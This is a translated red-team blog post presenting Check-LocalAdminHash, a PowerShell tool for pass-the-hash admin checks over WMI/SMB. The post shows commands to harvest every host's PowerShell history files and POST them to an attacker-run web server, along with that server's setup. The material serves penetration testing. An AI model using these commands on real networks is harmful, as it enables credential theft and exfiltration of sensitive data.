Check-LocalAdminHash:利用哈希验证本地管理员权限并窃取PowerShell历史记录

本文介绍了Check-LocalAdminHash工具,它通过PowerShell脚本验证密码哈希在多个主机上的管理员权限,并利用WMI协议窃取所有PSReadline控制台历史文件,适用于红队评估和渗透测试场景。

Check-LocalAdminHash & 窃取所有PowerShell历史记录

Beau Bullock //

TL;DR

Check-LocalAdminHash是一个新的PowerShell脚本,可以检查密码哈希在多个主机上是否为有效的管理员凭据。它还能够从凭据提供的每个系统上的每个配置文件中窃取所有PowerShell PSReadline控制台历史文件。

获取Check-LocalAdminHash:https://github.com/dafthack/Check-LocalAdminHash

历史记录爱好者

在最近的评估中,我想从网络上的每个系统收集所有PowerShell控制台历史文件(PSReadline)。PSReadline控制台历史本质上是PowerShell版本的bash历史。自PowerShell版本5以来,您在PowerShell终端中键入的所有内容都会记录到磁盘上的文件中。它可以包含人们键入终端的许多有趣内容,包括密码和其他敏感信息。我最初是从Chris Truncer在他的一门精彩培训课程中了解到这些历史文件的。

在这个特定的评估中,我有一个本地管理员哈希,我知道它在环境中广泛使用。我没有明文凭据。该组织还部署了许多其他安全工具,使得横向移动非常困难。使用了多个EDR和行为分析产品,以及应用程序白名单。RDP受多因素身份验证保护,并且我试图横向移动的主机上的SMB不可访问。

然而,我能够使用Windows管理规范(WMI)连接到其他系统。

弗兰肯斯坦

我的目标是获取网络上的所有PowerShell控制台历史文件,因此我开始编写一个脚本来实现这一目标。但我需要解决一些有趣的问题。我无法访问SMB,因此简单地通过网络复制PSReadline文件行不通。不过,主机可以访问互联网。最终,我“拼凑”了一些其他现有工具以及自己的代码来实现目标。

首先,我必须从域中收集所有主机。为此,我借用的第一段代码来自PowerView。我使用了PowerView的多个模块来生成域计算机列表。接下来,我利用了更多现有代码,这次来自Kevin Robertson的Invoke-TheHash,以对每个主机执行身份验证。Invoke-WMIExec和Invoke-SMBExec能够“传递哈希”在远程系统上运行命令。

对于每个系统,Invoke-WMIExec将连接并启动PowerShell以及一个编码的命令blob,其中包含用于发现系统上任何配置文件中找到的任何PSReadline文件的代码。如果发现任何文件,它们将通过POST请求发送到我控制的Web服务器。弗兰肯斯坦代码活了,并且效果出奇地好。

Check-LocalAdminAccess

事实证明,这个脚本的功能以完全不同的方式变得有用。它作为一个独立的PowerShell工具,用于确定密码哈希在网络上哪些主机上是有效的管理员凭据。我们经常发现,本地管理员凭据在 engagements 中仍然广泛使用。过去,如果我有一个密码哈希,我可能会使用像Metasploit的smb_login模块这样的东西来测试该凭据在其他主机上的有效性。然而,在评估中并不总是能够访问Metasploit。因此,这个脚本作为一种纯粹的PowerShell方式来测试凭据哈希,将允许我们在Windows环境中本地执行此技术。

Check-LocalAdminHash就是这个工具。您可以在Github上获取它:https://github.com/dafthack/Check-LocalAdminHash

以下是一些可以使用Check-LocalAdminHash运行的示例命令。顺便说一句,您仍然可以使用它窃取PSReadline文件。

通过WMI检查所有主机的本地管理员哈希

此命令将使用域“testdomain.local”查找所有系统,然后尝试使用用户“testdomain.local\PossibleAdminUser”和密码哈希通过WMI对每个系统进行身份验证。

1
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

窃取所有PSReadline控制台历史文件

此命令将使用域“testdomain.local”查找所有系统,然后尝试使用用户“testdomain.local\PossibleAdminUser”和密码哈希通过WMI对每个系统进行身份验证。然后,它尝试为每个系统上的每个配置文件定位PowerShell控制台历史文件(PSReadline),并将它们POST到Web服务器。博客文章的底部包含设置服务器端的说明。

1
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

该脚本还接受CIDR格式的目标列表、列表格式,或者如果您不想从域枚举主机,可以指定单个系统进行测试。除了WMI,您还可以指定SMB协议,如果您想使用它的话。

PSReadline窃取设置

这是您的警告,您即将设置一个面向互联网的服务器,该服务器将接受文件上传。通常,这是一件非常糟糕的事情,因此在进行此操作时一定要采取预防措施。我建议锁定防火墙规则,以便只有将上传PSReadline文件的IP才能访问Web服务器。另外,既然我们谈到安全性,这将与HTTPS连接完美配合,因此设置您的域和证书,以便PSReadline文件在网络上加密发送。您已被警告…

  1. 在您希望文件发送到的任何地方设置服务器。该服务器必须可通过HTTP/HTTPS从每个系统访问。
  2. 从此repo复制index.php脚本,并将其放在Web服务器上的Web根目录(/var/www/html)中的/index.php。
  3. 创建一个上传目录:
1
mkdir /var/www/html/uploads
  1. 修改此目录的权限:
1
chmod 0777 /var/www/html/uploads
  1. 确保安装了php:
1
apt-get install php
  1. 重启Apache:
1
service apache2 restart
  1. 在Check-LocalAdminHash.ps1脚本本身中,向下滚动到“Gen-EncodedUploadScript”函数,并在“$UnencodedCommand”下修改“$Url”变量。将其指向您的Web服务器index.php页面。我还没有弄清楚如何将UploadUrl变量传递到最终在目标系统上编码和运行的代码部分,因此暂时硬编码它。

现在,当您使用-ExfilPSReadline标志运行Check-LocalAdminHash时,它应该尝试将每个PSReadline(如果有的话)POST到您的Web服务器。

结论

Check-LocalAdminAccess是出于必要性而诞生的。如果您发现自己在一个Windows系统上,没有基于Linux的工具可用,并且需要测试密码哈希,这应该有助于提供一种更本地化的方法来测试凭据。此外,修改代码中查找PSReadline文件的部分以在每个主机上执行其他操作并不困难。将来,我可能会更改此功能,以提供查找其他文件或在系统上运行其他命令的能力。

致谢

Check-LocalAdminHash几乎是我最喜欢的两个工具PowerView和Invoke-TheHash的弗兰肯斯坦。95%的代码来自这两个工具。因此, credit goes to Kevin Robertson for Invoke-TheHash, and credit goes to Will Schroeder, Matt Graeber, and anyone else who worked on PowerView。没有这两个工具,这个脚本就不会存在。

另外,向Steve Borosh致敬,感谢他在多线程方面的帮助,以及他 overall 是个很棒的人。

Invoke-TheHash – https://github.com/Kevin-Robertson/Invoke-TheHash PowerView – https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计